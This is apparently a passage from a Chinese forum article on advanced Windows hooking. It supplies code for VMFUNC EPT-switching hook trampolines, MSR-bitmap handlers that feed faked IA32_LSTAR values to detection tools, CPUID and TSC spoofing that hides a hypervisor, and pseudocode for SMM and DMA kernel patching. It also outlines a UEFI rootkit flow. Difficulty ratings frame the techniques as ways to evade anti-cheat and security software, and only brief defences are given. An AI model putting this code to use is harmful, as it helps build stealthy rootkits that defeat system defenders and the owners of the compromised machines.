VMFUNC 是 Intel 在 Haswell+ 处理器上引入的指令,允许 Guest 在不触发 VM-Exit 的情况下切换 EPTP(EPT Pointer),即瞬间切换到不同的物理内存视图。

完整实现

// ===== VMCS 配置:启用 VMFUNC =====

void EnableVmfuncInVmcs() {
    // 启用 Secondary Proc-Based Controls 中的 VMFUNC bit
    ULONG64 secondary = __vmx_vmread(VMCS_SECONDARY_PROC_BASED_CONTROLS);
    secondary |= (1ULL << 13); // Enable VMFUNC
    __vmx_vmwrite(VMCS_SECONDARY_PROC_BASED_CONTROLS, secondary);

    // VMFUNC Controls: 只启用 function 0 (EPTP Switching)
    __vmx_vmwrite(VMCS_VMFUNC_CONTROLS, 1ULL);

    // 配置 EPTP List(最多 512 个 EPTP)
    DECLSPEC_ALIGN(PAGE_SIZE) ULONG64 eptpList[512] = {0};

    eptpList[0] = g_cleanEptp.Value;    // Index 0: 干净视图(默认)
    eptpList[1] = g_hookedEptp.Value;   // Index 1: Hook 视图

    PHYSICAL_ADDRESS eptpListPhys = MmGetPhysicalAddress(eptpList);
    __vmx_vmwrite(VMCS_EPTP_LIST_ADDRESS, eptpListPhys.QuadPart);
}

// ===== Guest 端切换代码 =====

// 切换到 Hook 视图(Guest 内核代码调用)
__forceinline void SwitchToHookView() {
    // VMFUNC: EAX=0 (function=EPTP Switching), ECX=1 (EPTP index)
    __asm {
        xor eax, eax    // function 0
        mov ecx, 1      // switch to index 1
        _emit 0x0F      // VMFUNC opcode
        _emit 0x01
        _emit 0xC4
    }
}

// 切换到干净视图
__forceinline void SwitchToCleanView() {
    __asm {
        xor eax, eax
        xor ecx, ecx    // switch to index 0
        _emit 0x0F
        _emit 0x01
        _emit 0xC4
    }
}

// ===== 高级应用:自动切换的 Hook Trampoline =====
// 在 Hook 函数入口自动切换视图,退出时切换回来

BYTE g_vmfuncTrampoline[] = {
    // Switch to clean view (index 0)
    0x31, 0xC0,                         // xor eax, eax
    0x31, 0xC9,                         // xor ecx, ecx
    0x0F, 0x01, 0xC4,                   // vmfunc

    // Call hook handler (address patched at runtime)
    0xFF, 0x15, 0x02, 0x00, 0x00, 0x00, // call [rip+2]
    0xEB, 0x08,                         // jmp over address
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // hook_handler address

    // Switch back to hook view (index 1)
    0x31, 0xC0,                         // xor eax, eax
    0xB9, 0x01, 0x00, 0x00, 0x00,       // mov ecx, 1
    0x0F, 0x01, 0xC4,                   // vmfunc

    // Jump to original function trampoline (address patched)
    0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp [rip+0]
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  // original_trampoline address
};

对比普通 EPT Hook

维度 普通 EPT Hook VMFUNC EPTP Switching
视图切换方式 EPT Violation → VM-Exit VMFUNC 指令(无 VM-Exit)
性能开销 每次切换 ~1000-3000 cycles ~100 cycles
时序攻击风险 有(VM-Exit 延迟可测量) 极低(指令级速度)
CPU 要求 VT-x + EPT Haswell+ (2013+)
复杂度 中等 高(需要维护多套 EPT)

检测难度:★★★★★+

  • 没有 VM-Exit,时序攻击基本无效
  • CPUID 可以被拦截来隐藏 VMFUNC 支持
  • 目前没有已知的可靠检测方法

4.3 EPT + MSR Bitmap 联合 Hook

原理

VMX 的 MSR Bitmap 可以选择性地让某些 MSR 的读写触发 VM-Exit。配合 EPT Hook,可以拦截任何通过 MSR 实现的功能(性能计数器、电源控制、安全特性等),同时让检测工具读到伪造的 MSR 值。

完整实现

// MSR Bitmap 结构(4KB 页,4个区域各 1KB)
// 0x000-0x3FF: Low MSRs read  (MSR 0x00000000 - 0x00001FFF)
// 0x400-0x7FF: High MSRs read (MSR 0xC0000000 - 0xC0001FFF)
// 0x800-0xBFF: Low MSRs write
// 0xC00-0xFFF: High MSRs write

DECLSPEC_ALIGN(PAGE_SIZE) UCHAR g_msrBitmap[PAGE_SIZE] = {0};

void SetupMsrBitmap() {
    RtlZeroMemory(g_msrBitmap, PAGE_SIZE);

    // 拦截 IA32_LSTAR 的读取(让检测工具看到假值)
    // IA32_LSTAR = 0xC0000082
    // 在 High MSR read bitmap 中: offset = 0x400 + (0x82 / 8) = 0x410, bit = 0x82 % 8 = 2
    g_msrBitmap[0x410] |= (1 << 2);  // RDMSR 触发 VM-Exit

    // 也可以拦截写入
    g_msrBitmap[0xC10] |= (1 << 2);  // WRMSR 触发 VM-Exit

    // 拦截 IA32_DEBUGCTL (用于隐藏调试特性)
    // 0x1D9 → Low MSR read: offset = 0x000 + (0x1D9 / 8) = 0x3B, bit = 0x1D9 % 8 = 1
    g_msrBitmap[0x3B] |= (1 << 1);

    // 写入 VMCS
    PHYSICAL_ADDRESS msrBitmapPhys = MmGetPhysicalAddress(g_msrBitmap);
    __vmx_vmwrite(VMCS_MSR_BITMAP_ADDRESS, msrBitmapPhys.QuadPart);
}

// VM-Exit Handler: 伪造 MSR 值
void HandleMsrRead(PVMX_VCPU vcpu) {
    ULONG msrIndex = (ULONG)vcpu->guestState.Rcx;
    ULONG64 realValue;

    switch (msrIndex) {
        case 0xC0000082: // IA32_LSTAR
            // 返回原始的 KiSystemCall64 地址(即使实际已被修改)
            realValue = g_originalKiSystemCall64;
            break;

        case 0x1D9: // IA32_DEBUGCTL
            // 隐藏任何调试相关设置
            realValue = 0;
            break;

        default:
            realValue = __readmsr(msrIndex);
            break;
    }

    vcpu->guestState.Rax = (ULONG)(realValue & 0xFFFFFFFF);
    vcpu->guestState.Rdx = (ULONG)(realValue >> 32);
    AdvanceGuestRip(vcpu);
}

// VM-Exit Handler: 拦截 MSR 写入
void HandleMsrWrite(PVMX_VCPU vcpu) {
    ULONG msrIndex = (ULONG)vcpu->guestState.Rcx;
    ULONG64 newValue = ((ULONG64)vcpu->guestState.Rdx << 32) | (vcpu->guestState.Rax & 0xFFFFFFFF);

    switch (msrIndex) {
        case 0xC0000082: // IA32_LSTAR
            // 阻止修改(或记录后放行)
            // 如果放行,更新我们的记录
            g_originalKiSystemCall64 = newValue;
            __writemsr(msrIndex, newValue);
            break;

        default:
            __writemsr(msrIndex, newValue);
            break;
    }
    AdvanceGuestRip(vcpu);
}

检测难度:★★★★★

  • 检测工具用 rdmsr 读 IA32_LSTAR 看到的是假值
  • 配合 EPT Hook,代码也看到是假的
  • 双重伪装:代码伪装 + 数据伪装

4.4 CPUID 虚拟化隐藏 + TSC 补偿

原理

Hypervisor 的存在可以通过 CPUID 指令被检测(VMX 会让 CPUID.1:ECX.bit31 = 1)。同时 VM-Exit 会引入可测量的时间延迟。通过拦截 CPUID 和补偿 TSC(时间戳计数器),可以让检测工具完全无法发现 Hypervisor。

完整实现

// ===== CPUID 伪装 =====
void HandleCpuid(PVMX_VCPU vcpu) {
    int cpuInfo[4];
    __cpuidex(cpuInfo, (int)vcpu->guestState.Rax, (int)vcpu->guestState.Rcx);

    ULONG leaf = (ULONG)vcpu->guestState.Rax;

    switch (leaf) {
        case 0x1:
            // 清除 Hypervisor Present bit (ECX bit 31)
            cpuInfo[2] &= ~(1 << 31);
            break;

        case 0x40000000:
        case 0x40000001:
        case 0x40000002:
        case 0x40000003:
        case 0x40000004:
        case 0x40000005:
        case 0x40000006:
            // 所有 Hypervisor 扩展 leaf 返回 0
            cpuInfo[0] = cpuInfo[1] = cpuInfo[2] = cpuInfo[3] = 0;
            break;

        case 0x0:
            // 确保 max leaf 不包含 0x40000000 范围
            if (cpuInfo[0] > 0x20) cpuInfo[0] = 0x20;
            break;
    }

    vcpu->guestState.Rax = cpuInfo[0];
    vcpu->guestState.Rbx = cpuInfo[1];
    vcpu->guestState.Rcx = cpuInfo[2];
    vcpu->guestState.Rdx = cpuInfo[3];
    AdvanceGuestRip(vcpu);
}

// ===== TSC 补偿(隐藏 VM-Exit 延迟)=====
// VM-Exit + VM-Entry 大约消耗 1000-3000 TSC cycles
// 如果检测工具在 VM-Exit 前后读 TSC 对比,可以发现异常延迟

// 方案:在 VMCS 中设置 TSC Offset,每次 VM-Exit 后补偿消耗的时间
typedef struct _TSC_STATE {
    ULONG64 lastExitTsc;      // 上次 VM-Exit 时的 TSC
    ULONG64 totalOffset;      // 累积需要减去的 TSC
} TSC_STATE;

TSC_STATE g_tscState[256] = {0}; // 每个 CPU 一个

void HandleVmExit(PVMX_VCPU vcpu) {
    ULONG64 exitTsc = __rdtsc();

    // ... 处理各种 VM-Exit ...

    ULONG64 entryTsc = __rdtsc();
    ULONG64 exitCost = entryTsc - exitTsc;

    // 将这次 VM-Exit 的时间消耗累加到 TSC Offset
    g_tscState[vcpu->cpuIndex].totalOffset += exitCost;

    // 更新 VMCS TSC Offset(Guest 读到的 TSC = 实际 TSC - offset)
    __vmx_vmwrite(VMCS_TSC_OFFSET, -(INT64)g_tscState[vcpu->cpuIndex].totalOffset);
}

// 还需要处理 RDTSC/RDTSCP 的 VM-Exit(如果启用了 RDTSC exiting)
void HandleRdtsc(PVMX_VCPU vcpu) {
    ULONG64 tsc = __rdtsc() - g_tscState[vcpu->cpuIndex].totalOffset;
    vcpu->guestState.Rax = (ULONG)(tsc & 0xFFFFFFFF);
    vcpu->guestState.Rdx = (ULONG)(tsc >> 32);
    AdvanceGuestRip(vcpu);
}

检测难度:★★★★★

  • CPUID 看不到 Hypervisor
  • TSC 差值测量看不到异常延迟
  • 几乎无法通过软件手段检测

第五层:硬件/固件级 Hook(Ring -2 及以下)

这一层已经超越了软件的范畴,涉及 CPU 微码、固件、外部硬件设备。即使 Hypervisor 也无法检测或防御这一层的攻击。


5.1 SMM Hook(系统管理模式)

原理

SMM(System Management Mode)是 x86 CPU 中最高特权级的执行模式,比 Ring -1(Hypervisor)还高。SMM 代码运行在 SMRAM 中,对操作系统和 Hypervisor 完全不可见。

权限层级:
Ring 3 (User) < Ring 0 (Kernel) < Ring -1 (Hypervisor) < Ring -2 (SMM)

SMM 的超能力:

  • 拥有独立的、不可被访问的内存(SMRAM)
  • 可以任意修改任何 CPU 寄存器状态
  • 执行期间所有中断被屏蔽
  • 独立的代码空间,操作系统不可见/不可访问
  • 从 SMRAM 返回时 CPU 恢复之前的状态,无法感知 SMM 曾执行

攻击方式

// SMM 攻击需要固件层面的漏洞利用
// 一旦在 SMRAM 中植入代码:

void SmmHookHandler(SMM_SAVE_STATE* saveState) {
    // 获取被暂停的操作系统状态
    ULONG64 kernelCr3 = saveState->Cr3;
    ULONG64 guestRip = saveState->Rip;

    // 直接通过物理地址修改内核内存(绕过所有保护)
    // 因为 SMM 可以直接访问所有物理内存
    PVOID targetPhysAddr = TranslateVaToPhys(kernelCr3, targetVa);

    // 修改内核代码/数据
    WritePhysicalMemory(targetPhysAddr, hookCode, hookSize);

    // 完成后返回,CPU 恢复正常执行
    // 操作系统和 Hypervisor 完全无法感知
}

// 触发 SMI 的方式(周期性执行 Hook 逻辑):
// - 利用 ACPI 定时器触发 SMI
// - 写入特定 I/O 端口触发 SMI (outb 0xB2, value)
// - 利用 USB controller 触发 Legacy USB SMI

检测难度:★★★★★(理论不可检测)

  • SMRAM 对操作系统完全不可见
  • CPU 在 SMM 期间外部不响应,没有时间线索暴露
  • 即使 Hypervisor 也在 SMI 期间被暂停
  • 唯一检测方式:硬件调试器(JTAG)、固件签名验证(Secure Boot)

5.2 DMA Attack(直接内存访问攻击)

原理

通过 PCIe/Thunderbolt 设备的 DMA(Direct Memory Access)能力,直接读写主机物理内存,完全绕过 CPU 的所有保护机制。不需要在目标系统上执行任何代码。

攻击设备

  • PCIe 恶意设备(伪装成网卡等)
  • Thunderbolt 外接设备
  • FireWire 设备(旧系统)
  • 恶意 NIC 固件(如 Intel AMT 漏洞利用)

实现概述

// 在恶意 PCIe 设备的固件中:
void DmaHookInstall() {
    // 扫描物理内存,定位 Windows 内核
    PHYSICAL_ADDRESS ntBase = ScanForKernelBase();

    // 定位目标函数(通过特征码匹配)
    PHYSICAL_ADDRESS targetFunc = FindFunctionBySignature(ntBase);

    // 通过 DMA 直接写入物理内存
    // 绕过 CPU 的 MMU/EPT,没有任何权限检查
    DmaWrite(targetFunc, hookCode, hookCodeSize);

    // 或者更隐蔽:修改页表来实现类似 PTE Hook 的效果
    PHYSICAL_ADDRESS pteAddr = CalculatePtePhysAddr(targetFunc);
    DmaWrite(pteAddr, &modifiedPte, sizeof(MMPTE));
}

防御

  • IOMMU (VT-d / AMD-Vi):为 DMA 设备创建独立地址空间
  • Kernel DMA Protection (Windows 10 1803+)
  • Thunderbolt Security Level 设置

检测难度:★★★★★(无 IOMMU 时不可检测)

5.3 BIOS/UEFI Rootkit

原理

在 UEFI 固件中植入恶意代码。由于 UEFI 在操作系统之前执行,可以在 OS 加载前修改任何数据(包括 bootloader、内核加载器),绕过内核保护。即使重装系统、更换硬盘也无法清除。

已知案例

  • LoJax (2018) — 第一个野外发现的 UEFI rootkit
  • MosaicRegressor (2020) — 针对外交官的 UEFI 植入物
  • CosmicStrand (2022) — 修改 UEFI 固件的持久化攻击
  • BlackLotus (2023) — 绕过 Secure Boot 的 UEFI bootkit

攻击流程

1. 获取 SPI Flash 写入权限(利用固件漏洞或物理访问)
2. 在 UEFI DXE 阶段植入恶意模块
3. 恶意模块在 OS 加载时注入代码到 Windows Boot Manager
4. Boot Manager 加载内核时注入代码到内核加载器
5. 加载的内核带有预装 Hook(此时 Secure Boot/PatchGuard 尚未初始化)

检测难度:★★★★★

  • 重装系统无法清除
  • 操作系统层面几乎不可检测
  • 需要专用固件扫描工具(如 CHIPSEC、UEFI Toolkit)
  • Secure Boot 可以阻止未签名固件(但有时也能被绕过)

总览对比表

Windows Hook 技术全架构对比总览表

技术演进路线图

2001-2006 (XP 时代 - 无保护)
│ IAT/EAT Hook → Inline Hook → SSDT Hook → IDT Hook
│ → 没安全机制,想做什么做什么
│
2006-2012 (Vista/7 - PatchGuard 登场)
│ PatchGuard v1 出现 → SSDT/IDT Hook 阵亡
│ DKOM 兴起 → MSR Hook → PG 绕过混战
│ → 猫鼠游戏开始
│
2012-2015 (Win8/8.1 - DSE + PG 强化)
│ 驱动签名强制 → BYOVD 攻击兴起
│ Infinity Hook → Kernel Callback 大行其道
│ → 合法接口开始吃香
│
2015-2018 (Win10 - HVCI + VBS)
│ HVCI 禁止动态代码执行 → EPT Hook 崛起
│ PTE Base 随机化 → PTE Hook 难度上升
│ → 军备竞赛进入虚拟化时代
│
2018-2022 (鼎盛期)
│ EPT Hook 框架成熟(HyperHide、hvpp、SimpleSvm)
│ VMFUNC EPTP Switching 实用化
│ 反作弊开始部署 Hypervisor 检测
│ → 攻守双方对等博弈
│
2022-2026 (当前)
│ VBS + Credential Guard 全面部署
│ 虚拟化嵌套检测
│ 时序侧信道对抗
│ UEFI Rootkit 商业化(BlackLotus)
│ → 战场延伸到固件层
│
未来趋势:
│ Intel TDX / AMD SEV → 硬件强制隔离
│ ARM CCA (Confidential Compute Architecture)
│ 当硬件不再信任软件 → Hypervisor Hook 的末日?

结语

Windows Hook 技术经过 20+ 年的进化,已经从简单粗暴的 IAT 修改,发展到需要理解 Intel VT-x 手册才能实现的 EPT 量子级技术。

每一道微软加固的防线,都催生了更底层的一次突破:

  • 用户态被拦 → 进内核
  • 内核被 PatchGuard 监控 → 绕过 PatchGuard
  • 内核结构都不能碰了 → 去 Hypervisor
  • Hypervisor 被检测 → 去 SMM / UEFI

核心公理:谁控制了更底层的抽象,谁就拥有绝对控制权。 上层的任何检测手段都可以被下层伪造——这就是为什么 EPT Hook 之后在纯软件层面几乎不可检测的根本原因。

云栈社区 的相关技术板块中,关于底层安全与反取证技术的探讨始终是热度最高的话题之一,欢迎各位对网络/系统底层感兴趣的同好前来交流。

miku homage to me





上一篇:Hermes AI Agent变现实录:从闲鱼到跨境,普通人也能打造的自动赚钱系统
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-7-12 07:48 , Processed in 0.856865 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表